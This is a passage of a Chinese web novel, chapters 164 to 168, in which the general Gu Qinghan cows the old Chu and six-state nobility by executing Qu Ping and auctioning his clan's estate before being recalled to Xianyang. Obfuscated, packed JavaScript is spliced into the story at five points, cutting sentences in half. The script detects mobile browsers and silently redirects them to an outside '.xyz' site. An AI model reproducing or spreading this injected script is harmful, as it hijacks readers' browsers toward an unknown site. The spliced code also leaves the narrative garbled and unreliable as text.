石猛这才缓缓点头。他没有去看那些降兵,目光只是落在了被按跪在地,浑身抖如筛糠的屈平身上。 “带上来。” 石猛的声音很平静。两名玄甲卫士上前,将屈平架到了一张早已备好的案几前。案几上,只有一个酒坛,两只陶碗。 这一幕,被城中各处角落里,那些来自楚地其他大族的探子们,看得清清楚楚。他们屏住呼吸,不知道这位冠军侯的将军,接下来要做什么。 石猛亲自提起酒坛,倒满了两碗酒。他端起一碗,递到屈平面前。 屈平抬起头,浑浊的眼睛里满是哀求:“将……将军,饶命……老朽……老朽愿意献出所有家产,只求……只求活命……” “我家大都督,有句话,让我带给你。”石猛打断了他,声音里没有一丝波澜,“他说,茶已经泡好了,想请楚地的各位王孙贵胄,都来品一品。” 屈平愣住了,他不懂这句话的意思。 石猛也没有再解释。他将手中的酒碗放下,缓缓抽出了腰间的环首刀。 刀光一闪。 “噗——” 屈平的哀求声戛然而止,一颗大好头颅冲天而起,滚落在地。腔子里的血,喷涌而出,染红了案几前的土地。 血腥味瞬间弥漫开来。 远处的探子们,吓得浑身一哆嗦,几乎要瘫倒在地。 石猛面不改色,他端起案几上另一碗未动的酒,走到那片被鲜血浸染的土地前,将碗中酒液,缓缓倾倒在地。 酒水与鲜血混在一起,渗入泥土。 做完这一切,他才转过身,面对着寿春城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778204|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方向,面对着那些藏在暗处的眼睛,用尽全身力气,发出一声惊雷般的咆哮。 “此酒,敬楚地诸位王侯!” “大都督有令:顺我者昌,逆我者,如屈氏!” 声音在寿春城的上空回荡,久久不息。 城内,项氏府邸。 项庄站在窗前,听着那清晰传来的咆哮,脸色一片煞白。他手中的那枚黑子,再也握不住,“啪”的一声,掉在棋盘上,震乱了满盘棋子。 “完了……”他喃喃自语,“这哪里是过江猛龙,这分明是催命的阎王……” 这一日,整个楚地,噤若寒蝉。 …… 咸阳,客栈。 陆佩奇已经不知道自己是怎么把话说完的。他的大脑一片空白,只剩下石猛那句“顺我者昌,逆我者,如屈氏”在脑中反复回响。 **,诛心,还要用**的血来敬酒。 这位冠军侯,究竟是个什么怪物? 嬴政听完汇报,脸上没有任何表情。他只是拿起那辆已经完美无瑕的铜制战车模型,放在手中细细把玩,仿佛那是一件稀世珍宝。 过了许久,他才缓缓开口,声音里带着一种极致的满意。 “好,好一个**敬酒。” 他放下战车模型,端起了桌上那杯早已凉透的蜀茶,却没喝,而是将其倒在了窗台的一盆兰花里。 “这金子味的茶,终究是俗了些。” 他重新坐下,慢条斯理地为自己沏上了一壶新茶。这一次,他没有让陆佩奇退下,而是将一杯热气腾腾的茶,推到了他的面前。 “陆统领,陪朕,尝尝这杯刚泡好的‘楚地陈茶’。” 嬴政端起茶杯,轻轻抿了一口,发出了一声满足的喟叹。 “嗯,入口虽苦,回味,却甘醇得很。” 他放下茶杯,目光变得悠远而深邃,仿佛穿透了咸阳的宫墙,看到了更广阔的天下。 “去,再给清寒传个信。” “告诉他,楚地的茶,朕喝得很满意。” “不过,”嬴政的嘴角,勾起一抹无人能懂的弧度,“这天下,好茶还有很多。比如,那六国旧都里,还藏着不少自以为是的‘陈年佳酿’。” “朕,有些渴了。” 第165章 麒麟设宴,天下赴席 第一百六十五章麒麟设宴,天下赴席 咸阳,客栈。 陆佩奇将一杯新茶,恭敬地推到嬴政面前。这杯茶,是用专人快马从楚地送来的,据说,正是屈氏珍藏的上品。茶汤色泽金红,香气霸道,一如它背后那段血腥的故事。 嬴政却没有动那杯茶。他只是将一封刚刚收到的,来自九原的密信,随手放在了桌上。 “他要干什么?”陆佩奇的声音干涩,带着他自己都未曾察觉的颤栗,“陛下,他……他这是要将天下所有的旧贵族,都拉到寿春,当着所有人的面,再羞辱一遍吗?” 嬴政终于端起了那杯“楚地陈茶”,却没有喝,只是轻轻晃动着,看着茶汤在杯中旋转,形成一个小小的漩涡。 “羞辱?”他轻笑一声,那笑声里带着几分玩味,“陆统领,你还是没看懂。我这孙儿,他不是在羞辱谁。” 他将茶杯放到鼻尖,深深地嗅了一口那浓郁的茶香。 “他是在摆一场鸿门宴。只不过,赴宴的人,都以为自己是去分食的鬣狗,却不知道,真正的主菜,是他们自己。” 嬴政放下茶杯,目光变得幽深如海。 “他把屈氏的血肉,做成了一块香气四溢的鱼饵。现在,他要看看,这天下的水潭里,到底有多少贪婪愚蠢的鱼,会循着血腥味游过来。又有多少,是躲在深水里,自以为聪明的鳄鱼。” 他站起身,走到窗边,负手而立,望着咸阳城繁华的街景,嘴角勾起一抹无人能懂的弧度。 “传朕的旨意。命令沿途各郡县,但凡有佩剑的六国旧族前往楚地,一律不得阻拦,还要派兵护送,务必确保他们能安安稳稳地抵达寿春。” 陆佩奇猛地抬起头,眼中满是不可思议。 这……这不是在帮他吗? 嬴政没有回头,声音平淡得仿佛在说一件与自己无关的小事。 “朕的麒麟儿摆下了宴席,总不能让一些不长眼的苍蝇,搅了客人的兴致。” …… 九原,郡守府。 当顾清寒宣布要将屈氏的家产,在寿春公开“发卖”时,整个议事厅,陷入了一种诡异的寂静。 李山河那只独眼瞪得溜圆,嘴巴张得能塞下一个鸡蛋。他看看顾清寒,又看看一脸平静的文远,憋了半天,才憋出一句话来。 “侯……侯爷,俺是不是听错了?咱们刚把姓屈的那老小子给剁了,现在又要开个铺子,把他家的地契和婆娘卖给他那帮狐朋**?”他挠着头,满脸都是想不通,“这不是……脱了裤子放屁吗?直接抄了不就完了?” “哈哈哈!”厅内的将领们终于反应过来,爆发出了一阵哄堂大笑。 “李将军此言,虽粗鄙,却也不无道理。”文远摇着羽扇,笑着解释道,“主公此举,妙就妙在‘发卖’二字,而非‘抄没’。” 他走到沙盘前,伸手拂过韩、赵、魏、齐等旧国的疆域。 “六国旧都,世家林立,盘根错节。我们若是一家一家地打过去,耗时耗力不说,还容易逼得他们抱团取暖,同仇敌忾。到时候,整个天下都会烽烟四起,正中某些人的下怀。” 姜瞳在一旁,用她那清泉般的声音补充道:“可夫君如今设下此局,便大不一样了。他将屈氏的田产、商铺、甚至奴仆都作为诱饵,广邀天下世家前来竞价。这就好比在一群饿狼面前,扔下了一块血淋淋的肥肉。” 顾清寒靠在椅背上,嘴角噙着一抹冷笑,接过了话头:“他们会为了这块肉,争得头破血流,互相猜忌。谁出的价高,谁就是想占便宜;谁若不来,谁就是心中有鬼,看不起我这个南征大都督。我什么都不用做,只需要坐在寿春城楼上,看着他们互相撕咬,就能把他们的成色,看得一清二楚。” 他顿了顿,目光扫过在场的每一个人,那眼神里的冰冷,让所有人都心头一凛。 “更重要的是,他们一旦买了屈家的地,就等于在天下人面前,承认了我处置屈氏的合法性。他们就从旁观者,变成了我的同谋。日后,我再要对付谁,他们心里就得先掂量掂量,自己屁股底下,坐的是不是从别人尸骨上抢来的椅子。” 议事厅内,再次陷入了死寂。 众将只觉得后背一阵发凉。他们终于明白,自家侯爷这一招,有多么阴毒。 这已经不是**诛心了,这是在把所有潜在的敌人,都骗到一艘船上,然后告诉他们,这艘船,是通往地狱的。你们要么帮我划船,要么,就一起沉下去。 “娘的……”李山河咂了咂嘴,一脸的佩服,“侯爷,您这心眼儿,比我们村口的磨盘还多。俺以后要是哪天不小心得罪了您,您给俺个痛快,千万别跟俺玩这个。” …… 消息像一场瘟疫,迅速传遍了整个天下。 【南征大都督顾清寒,将于下月十五,在楚地寿春,公开拍卖逆贼屈氏一族所有田产、商铺、宅邸、奴仆……价高者得,钱货两清。】 一封封措辞“和气生财 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778205|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的请柬,被送到了六国旧地,那些曾经的王孙贵胄、世家门阀的案头。 魏地,大梁。 曾经的信陵君府邸内,几个魏国旧族的族长,正对着那封烫金的请柬,面面相觑。 “欺人太甚!真是欺人太甚!”一个老者气得浑身发抖,“他杀了屈平,还要卖人家的祖产!这是在打我们所有世家的脸!” “王兄息怒。”另一人劝道,“可你看这请柬上说,所得钱款,将全部用于抚恤南疆战死的将士,以及安置归降的屈氏部曲。他把由头都占尽了,我们若是不去,岂不是显得我们不体恤将士,心怀叵测?” “去?怎么去?去了,就是承认他顾清寒有权处置我们!今天他能卖屈家,明天就能卖了你王家、我李家!” 韩地,新郑。 韩氏宗族的议事厅内,气氛同样凝重。 “那顾清寒,就是一头**的疯狗!” “可……可是我听说,屈氏的那些田产,都是上好的水浇地,还有长江边的几个码头,那可是日进斗金的聚宝盆啊……” “是啊,若是能拿下那几个码头,我族的进项,至少能翻上一番……” 贪婪,在悄无声息地压倒恐惧。 赵地,邯郸。齐地,临淄。燕地,蓟城。 相似的争论,在每一个深宅大院里上演。 去,还是不去? 这是一个问题。 去了,是与虎谋皮,是承认了那头北疆恶狼的权威,是踩着同类的尸骨,去分一杯血腥的羹。 可若是不去,就眼睁睁看着别人把那泼天的富贵抢走,还要背上一个“心怀不满”的黑锅。 无数自以为聪明的世家族长,在经过了数日的辗转反侧后,都做出了一个自认为最明智的决定。 去! 一定要去! 不仅要去,还要带上足够的钱,抢下最肥的那块肉! 他们要向顾清寒证明,自己是“顺从”的,同时,也要将这份天大的好处,牢牢抓在自己手里。 一时间,通往寿春的官道上,车马络绎不绝。那些平日里在各自地盘上作威作福的旧日王侯,如今都像闻到腥味的猫一样,带着满腹的算计和贪婪,奔赴那场由麒麟亲手为他们设下的盛宴。 他们谁都没有注意到,在他们车队的前后,总有一些沉默如铁的秦军士卒,在不远不近地“护送”着。 那冰冷的眼神,仿佛在看一群自己走进屠宰场的猪。 第166章 众犬争食,麒麟观戏 第一百六十六章众犬争食,麒麟观戏 楚地,寿春。 这座曾经的楚国都城,从未像今天这般“热闹”过。 城内,车马如龙,锦衣如云。来自韩、赵、魏、齐、燕各地的旧日王侯,带着他们最精锐的护卫和最沉重的钱箱,住满了城中最好的驿馆。他们彼此在街上相遇,脸上挂着虚伪的笑容,拱手作揖,说着些言不由衷的客套话,眼神里却都藏着刀子。 城外,玄甲军和狼崽军的营盘连成一片,黑色的旗帜迎风招展,肃杀之气直冲云霄。士卒们沉默地擦拭着兵器,冰冷的目光时不时扫过城墙上那些指指点点的身影,像是在看一群已经打包好的猎物。 城墙上,李山河抱着胳膊,嘴里叼着根草根,看着城下那些花里胡哨的车队,不屑地“呸”了一口。 “牛哥,你说这帮孙子,是不是脑子被门夹了?”他用手肘捅了捅身边的牛辅,“老家被人端了,不想着报仇,反倒巴巴地跑过来,抢着买仇人家里的破烂玩意儿。俺要是他们,早就抄家伙干**了。” 牛辅正在用一块砂石打磨他的环首刀,头也没抬地闷哼一声:“顾少的心思,你猜不透。俺也猜不透。顾少让俺们看戏,俺们就看戏。” 他抬起头,独眼中闪过一丝野兽般的光芒,舔了舔干裂的嘴唇:“不过俺觉得,这戏,看完就该吃肉了。” “发卖”的地点,设在了寿春城的中心广场,正对着那座已经摘掉了牌匾、显得空旷而萧瑟的屈氏府邸。 没有高台,没有华盖。 顾清寒就坐在一张最普通的木椅上,身旁是巧笑嫣然的姜瞳,两人正旁若无人地煮着茶,仿佛不是来主持一场惊天动地的拍卖,而只是来此地郊游。 文远一袭白衣,手持羽扇,站在一张简单的案几后,成了这场盛宴名义上的主持人。 吉时已到,文远轻咳一声,整个广场瞬间安静下来。数百名来自六国旧地的世家代表,正襟危坐,目光齐刷刷地聚焦在他身上。 “诸位远道而来,路途辛苦。”文远的声音温和而清晰,传遍了广场的每一个角落,“我家大都督仁德,不忍见屈氏一族因罪魁祸首而尽数受戮。故将逆贼家产发卖,所得钱款,一则抚恤南疆阵亡将士,二则安置归降部曲,让他们有田可耕,有屋可住。此乃仁义之举,还望诸位多多捧场。” 一番话说得冠冕堂皇,滴水不漏。坐在底下的世家代表们,一个个面皮抽搐,心里骂娘,脸上还得挤出“大都督仁义”的赞同表情。 “废话不多说,”文远微微一笑,拍了拍手。 两名玄甲卫士抬上了一块木板,上面铺着一张羊皮地图。 “第一件,屈氏城南良田五百亩,附带三座水车。起价,十万钱。” 话音刚落,底下立刻就有人举起了号牌。 “十一万!”一个魏地口音的锦衣胖子喊道。 “十二万!”邻座一个韩地来的瘦高个,立刻针锋相对。 “十五万!” “十六万!” 竞价声此起彼伏,这些平日里自诩风雅的王孙贵胄,此刻为了几百亩地,争得面红耳赤,活像一群菜市场的贩夫。 姜瞳为顾清寒斟上一杯茶,柔声笑道:“夫君你看,那魏家的王氏和韩家的郑氏,本就是世仇。如今为了这块地,怕是连最后一点体面都不要了。” 顾清寒端起茶杯,吹了吹热气,眼皮都没抬一下:“狗抢骨头,本就不需要体面。” 几轮下来,屈氏的田产、商铺、宅邸,都被以高出市价三成以上的价格瓜分殆尽。抢到的人,满脸通红,是兴奋也是心疼。没抢到的人,则一脸晦气,暗骂对方不识抬举。整个广场的气氛,变得愈发微妙而紧张。 终于,文远清了清嗓子,示意卫士抬上了最后一件,也是最重磅的“拍品”。 那是一份详细的江防图,上面用朱砂清晰地标注着三个沿江码头的位置。 “最后一件,也是本次发卖的压轴之物。”文远的声音也提高了几分,“屈氏所控,长江水道三座私港之经营权,为期二十年!此三港,乃蜀盐楚丝北运之要冲,其利几何,想必在座各位,比我更清楚。起价,五十万钱!” “轰——” 整个广场炸开了锅。 五十万钱!这几乎是某些小家族一年的全部进项! 但所有人的眼睛都红了。 田产商铺,赚的都是辛苦钱。而这码头,是真正的聚宝盆,是能下金蛋的鸡!谁能拿到,谁就能在未来二十年,成为楚地水路真正的霸主! “六十万!”一个齐地来的老者,声音嘶哑地喊道。 “我出七十万!”赵地的一个壮汉,猛地站起身。 “项氏,出八十万!”一直沉默不语的项庄,终于开口了。他的声音不大,却让全场为之一静。 所有人都知道,真正的巨鳄,下场了。 “哼,项家主好大的手笔。”一个阴阳怪气的声音响起,是来自旧秦地的一个老牌关中世族,“我出八十五万!” “九十万!” “一百万!” 价格像疯了一样向上飙升,钱在他们口中,已经变成了一串串冰冷的数字。他们争夺的,已不仅仅是财富,更是家族的颜面和未来的地位。 就在此时,一直闭目养神的顾清寒,忽然睁开了眼睛。 他没有看那些争得头破血流的世家,而是对文远随口说了一句,声音不大,却恰好能让前排的人听见。 “文远,你记一下。今日所得钱款,除了抚恤和安置,余下的,就用来修一条从寿春直通南郡的驰道吧。路要修得宽一些,最好能并排跑八辆马车。” 文远心领神会,立刻转身,对着全场朗声宣布:“诸位,我家大都督有令!今日拍卖所得,将用于修建南疆驰道!为表彰诸位慷慨解囊,为国分忧,本次拍下三座港口经营权的家族,大都督将亲自授予‘开路先锋’之牌匾,以示嘉奖!” 此言一出,全场死寂。 前一刻还状若疯狂的众人,像是被集体掐住了脖子。 驰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778206|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道? 修给谁用的?当然是给军队用的! 他们花钱买下屈氏的码头,然后这笔钱,又被顾清寒拿去修一条可以随时把大军开到他们家门口的军用驰道? 这已经不是诛心了,这是把他们的脸皮剥下来,糊到战鼓上,然后当着他们的面,擂鼓助威! 那个出价一百万的关中老者,脸色瞬间变得惨白,张了张嘴,一个字也说不出来。 项庄的脸色,也变得极其难看。他死死地攥着拳头,指节因为用力而发白。 “怎么?没人要了?”顾清寒端着茶杯,终于缓缓站起身,目光第一次扫过全场。 那目光平淡如水,却让每一个人都感到了一股刺骨的寒意。 “这可是为国修路的好事,诸位都是大秦的栋梁,难道连这点觉悟都没有吗?”他的嘴角,勾起一抹似笑非笑的弧度,“还是说,你们心里有鬼,怕我大秦的军队,离你们太近?” 这顶帽子,谁也戴不起。 “我……我出一百一十万!”一个声音颤抖着响起。 有了第一个,就有第二个。 “一百二十万!” 竞价再次开始,只是这一次,气氛不再是贪婪和狂热,而是充满了恐惧和绝望。他们像一群被逼上祭台的牲口,争相用更高的价格,来证明自己的“忠诚”。 最终,三座港口的经营权,被项庄以一百五十万钱的天价,收入囊中。 当他颤抖着手,从文远那里接过那份契约时,他感觉自己拿到的不是聚宝盆,而是一道催命符。 顾清寒走到他面前,亲手将一块刻着“开路先锋”的烫金牌匾,交到他的手上,还亲切地拍了拍他的肩膀。 “项家主,高义。” 项庄的身体,在那一刻,僵硬如铁。 …… 咸阳,客栈。 陆佩奇的汇报,已经接近尾声,他的声音里,只剩下无尽的敬畏和恐惧。 嬴政静静地听着,手中把玩着那枚温润的麒麟玉佩。 “陛下……他……他不仅抢了他们的钱,还拿他们的钱,为自己修路。他……他还逼着项庄,亲手接下了那块‘开路先锋’的牌匾……” 嬴政脸上,终于露出了一个极其舒畅的笑容。 他站起身,走到窗边,望着南方那片天空,仿佛能看到寿春城楼上,那个正含笑看着群犬争食的年轻身影。 “陆统领,你现在明白了吗?” 嬴政的声音里,满是欣赏和自负。 “他不是在卖地,也不是在修路。” “他是在用那些蠢货自己的钱,为他们量身定做了一副副最合身的枷锁,然后亲手给他们戴上。” 嬴政转过身,那双深邃的眸子里,燃起了前所未有的光芒。 “这天下,很快就要没有能让他练手的磨刀石了。” “传朕的密令。” “让蒙毅,准备一下。” “该让朕的麒麟儿,见一见这朝堂之上,真正的豺狼了。” 第167章 枷锁自戴,麒麟归朝 第一百六十七章枷锁自戴,麒麟归朝 寿春,项氏临时府邸。 往日里价值千金的陈设,此刻都显得索然无味。那块刻着“开路先锋”的烫金牌匾,被随意地扔在角落里,像一块烧红的烙铁,烫着在场每一个人的眼睛。 数十名来自六国旧地的世家之主,如同斗败的公鸡,蔫头耷脑地坐着。空气压抑得能拧出水来,没人说话,只有粗重的喘息声。 “啪!” 一名魏地老者终于受不了这死一样的寂静,将手中的茶杯狠狠摔在地上,碎片四溅。 “竖子欺我太甚!他这是要我们用自己的钱,给自己挖坟墓啊!”老者须发皆张,满脸悲愤,“我们……我们联名上奏!去咸阳告他!我就不信,这大秦,没有王法了!” “王法?”一直枯坐不语的项庄,终于抬起头,自嘲地笑了一声,那声音沙哑得像是两块砂石在摩擦,“王老,你到现在还没看明白吗?他顾清寒,就是这南疆的王法。我们花的钱,买的地,当着天下人的面,接下的牌匾……这一切,都是我们亲手为自己戴上的枷锁。” 他站起身,走到那块刺眼的牌匾前,缓缓伸出手,却又在半空中停住,仿佛那是什么污秽之物。 “我们现在去告他?告他什么?告他逼着我们发财,还是告他逼着我们为国修路?”项庄的目光扫过众人,那眼神里是无尽的悲凉,“我们现在,已经跟他绑在一条船上了。我们买了屈家的地,就是他的同谋。我们接了他的牌匾,就要替他开路。我们若是不动,他就有理由说我们阳奉阴违,心怀不满。到时候,他就可以名正言顺地,把刀架在我们所有人的脖子上。” 在场的所有人,脸色煞白,如坠冰窟。 他们终于彻底明白了。这场盛宴,他们吃下去的每一口肉,都沾着毒。现在,毒已入骨,无药可解。 …… 城外,顾清寒的大帐内。 气氛与城中的愁云惨雾,截然相反。 李山河正抱着一个大酒坛子,喝得满脸通红,舌头都有些大了。 “侯爷!俺……俺李山河这辈子,就没服过谁!今天,俺是真服了!”他一拍大腿,唾沫横飞,“俺见过剪羊毛的,可从没见过一群羊,争着抢着给剪**的塞钱,生怕给少了。剪完了,还得乐呵呵地领一面‘优秀肥羊’的旗子,回去挂在自家羊圈门口!这……这**是什么世道!” “噗……”姜瞳被他这粗俗的比喻逗得掩嘴失笑,帐内的众将也都是哄堂大笑。 “匹夫之见。”顾清寒笑着骂了一句,呷了口姜瞳为他新沏的茶,“我想要的,不是他们的钱,也不是看他们出丑。” 他放下茶杯,目光变得深邃。 “我想要的,是他们彼此之间,再也无法弥合的裂痕。今天王家多花十万钱,抢了郑家的地。明天项氏出了天价,压了所有人的头。他们回到各自的地盘上,表面上还是同气连枝,心里却都扎了一根刺。一群心怀鬼胎的饿狼,总比一群同仇敌忾的饿狼,要好对付得多。” 文远摇着羽扇,含笑点头:“主公此策,名为卖地,实为攻心。一举而三得。收了钱粮,壮我军威,是其一。分化六国旧族,令其内斗不休,是其二。最关键的,是其三。” 他顿了顿,眼中闪过一丝锐利的光芒:“主公逼着他们买下屈氏的罪产,就是逼着他们承认了主公您处置屈氏的合法性。从此以后,您在南疆,便是大义的化身。谁敢反您,谁就是第二个屈氏。这,才是真正的杀招。” 众将听得心神摇曳,再看向自家侯爷时,眼神中已然带上了神明般的崇拜。 就在此时,一名亲卫快步入帐,单膝跪地:“启禀大都督,咸阳急使,赵老伯亲笔信至!” 帐内的笑声戛然而止。 顾清寒接过那熟悉的信封,展开信纸。 信上的内容很简单,先是夸他“楚茶新酿,滋味醇厚,甚合老夫胃口”,随即话锋一转。 “……然,麒麟终非池中之物,南疆水浅,恐困蛟龙。朕在咸阳,已备下深潭,亦有几条不知死活的老蛟,盼与贤侄一会。着,南征大都督顾清寒,即刻班师回朝,向朕及满朝公卿,详陈南疆之功。另,朕之麒麟玉佩已成,盼侄早归,亲手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778207|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 授之。” 信纸,从顾清寒的手中,轻轻滑落。 姜瞳的脸色瞬间白了,下意识地抓住了顾清寒的衣袖,指节捏得发白。 文远手中一直摇动的羽扇,也停了下来,脸上温和的笑容消失不见,取而代之的是前所未有的凝重。 “**!”李山河一脚踹翻了身边的酒坛,酒水淌了一地,他却浑然不觉,那只独眼因为愤怒而变得血红,“回朝?回个鸟的朝!咱们现在有兵有粮有地盘,凭什么听他的?他要见侯爷,让他自己滚过来见!咸阳城里,除了那个高高在上的皇帝老儿,就是一群动嘴皮子的酸儒,侯爷您回去,不是自投罗网吗?” “住口!”顾清寒一声低喝,制止了李山河的咆哮。 他缓缓俯身,捡起那封信纸,脸上的表情无惊无惧,反而是一种棋逢对手的兴奋。 “他不是在召我回去。”顾清寒的目光,越过大帐,望向了遥远的北方,嘴角勾起一抹无人能懂的笑意,“他是在告诉我,南疆这盘棋,我已经下完了。现在,该去咸阳,下那盘更大的了。” 他看向文远和姜瞳,语气平静,却带着不容置疑的决断:“我这位便宜爷爷,真是半点都等不及了。他刚考完了我的刀,现在,就想考我的心了。” 文远深吸一口气,躬身行礼:“主公,咸阳朝堂,波诡云谲,远非南疆可比。丞相李斯,郎中令蒙毅,皆是人中龙凤,还有那些盘根错节的关中世族……此行,凶险万分。” “凶险?”顾清寒笑了起来,那笑声中满是睥睨天下的豪情,“若是连一个小小的咸阳都摆不平,我还谈什么扫平天下?” 他站起身,走到大帐门口,看着外面那连绵的军营,和那些对他无限信赖的将士。 “传令下去。” 顾清寒的声音,传遍了整个大帐。 “牛辅率狼崽军,留守楚地,督造驰道。石猛率玄甲军,随我回朝。” 他转过身,黑色的眸子里,燃起了熊熊的战意。 “告诉咸阳城里那些等着看戏的豺狼们。” “我顾清寒,回来了。” 第168章 麒麟归朝,咸阳风动 第一百六十八章麒麟归朝,咸阳风动 寿春城内,那些刚刚在“拍卖会”上被扒了一层皮的六国旧族,还没从那场**的盛宴中回过神来,一个更让他们惊掉下巴的消息,就如同一阵狂风,席卷了全城。 南征大都督顾清寒,要班师回朝了! “什么?他要回咸阳?” 项氏府邸内,一个刚刚花了大价钱买下几百亩“罪田”的韩地贵族,失手打翻了茶杯,滚烫的茶水泼在手上,都浑然不觉。 “他……他怎么就走了?这路……这路不修了?” “修!”项庄坐在主位上,脸色阴沉得能滴出水来,他指了指角落里那块“开路先锋”的牌匾,声音里满是自嘲和绝望,“我们花钱,他出人。人家的亲信大将牛辅,带着五千如狼似虎的兵马,亲自留下来‘督造’。我们谁敢不尽心,谁敢拖延,恐怕第二天,脑袋就要被拿去给驰道奠基了。” 众人闻言,只觉得一股寒气从尾椎骨直冲天灵盖。 这哪里是走了,这分明是留下了一条更凶狠的恶犬,死死地盯着他们这群被套上了枷锁的肥羊。 “那他回咸阳……”有人抱着最后一丝希望,小声揣测,“会不会是功高震主,陛下要削他的权?咸阳城里那些公卿大臣,可都不是省油的灯,说不定……” “说不定?”项庄冷笑一声,打断了他的幻想,“你们还没看懂吗?他这一路从北疆到南疆,**、收税、卖地……哪一件事,如果没有咸阳城里那位陛下的默许,能做得如此顺风顺水?” “他此番回去,不是去受审,是去领赏的!” 满堂死寂。 所有人都明白了。他们非但没能盼来麒麟倒台,反而亲眼见证了,这头麒麟,是如何踩着他们的脸面和财富,一步步踏上了通往权力之巅的阶梯。而他们,就是那块最结实、最**的垫脚石。 …… 城外大营,离别的气氛却并不伤感。 顾清寒将一袋产自蜀郡的烈酒,扔给了牛辅。 “路,给我修得又宽又直。”顾清寒拍了拍他的肩膀,“钱不够,就去找那些‘开路先锋’们聊聊。谁要是敢跟你耍心眼,你就把他的脑袋,当成修路的石头。” “顾少,您就放心吧!”牛辅拍着胸脯,嘿嘿一笑,露出一口白牙,“谁的脑袋要是敢挡路,俺就把路直接从他脖子上压过去!保证平整!” 顾清寒笑了笑,转头看向身旁的姜瞳。 佳人美目中,依然带着挥之不去的忧色。 “咸阳非南疆可比,那里的人心,比百越的毒虫还要阴险。”姜瞳轻声说道,纤纤玉手不自觉地攥紧了顾清寒的衣角。 顾清寒反手握住她的手,触手一片冰凉。 他将姜瞳的手裹在掌心,凑到嘴边哈了口热气,像是在温暖一块寒玉。 “放心。”他低声笑道,“老虎再多,终究是在笼子里。我们这次,不是闯进笼子,是去当那个开笼门的。” 他顿了顿,又补充了一句:“再说了,有我家娘子的《观人术》在,什么牛鬼蛇神,到了你面前,还不是得被你看得底裤都不剩?” 姜瞳被他这句粗话逗得俏脸一红,心里的紧张,也悄然散去了几分。 她知道,这个男人,无论面对何种险境,永远都有着吞食天地的自信与豪情。 …… 大军开拔,一路向北。 五百玄甲,沉默如铁,黑色的洪流,沿着官道,向着大秦的心脏,滚滚而去。 与来时的籍籍无名不同,这一次,顾清寒的归途,堪称“万众瞩目”。 车驾所过之处,沿途的郡守县令,无不提前十里出城恭迎。那些刚刚从寿春灰溜溜返回各自封地的六国旧族,更是摆出了最高规格的仪仗,将美酒、粮食、金银,流水般地送到军前。 他们一个个把头埋得比谁都低,那副恭顺谦卑的模样,仿佛顾清寒不是他们的仇人,而是他们的再生父母。 一支车队行至魏地,当地最大的世家之主,就是那位在寿春摔杯子的王老,此刻正带着全族老小,跪在路边,恭迎大都督圣驾。 李山河骑在马上,一眼就认出了那个老头,他清了清嗓子,故意对身边的亲卫大声嚷嚷: “哎,你看那个老先生,身子骨多硬朗!前些天在寿春,为了给国家修路,那是豪掷千金,眼都不眨一下!这觉悟,真是我辈楷模!侯爷,您说陛下是不是该给他也发一块‘忠君体国’的牌匾?” 那王老听得真切,跪在地上的身子猛地一抖,差点一口气没上来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778208|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接昏死过去。周围的族人一个个脸色煞白,看他的眼神都变了。 玄甲军中,爆发出一阵压抑不住的闷笑声。 …… 咸阳,皇城。 麒麟归朝的消息,早已传遍了朝野。 整个咸阳城,就像一锅被投入了巨石的沸水,彻底翻腾起来。 丞相府内,李斯捻着长须,看着窗外,眼神晦暗不明。 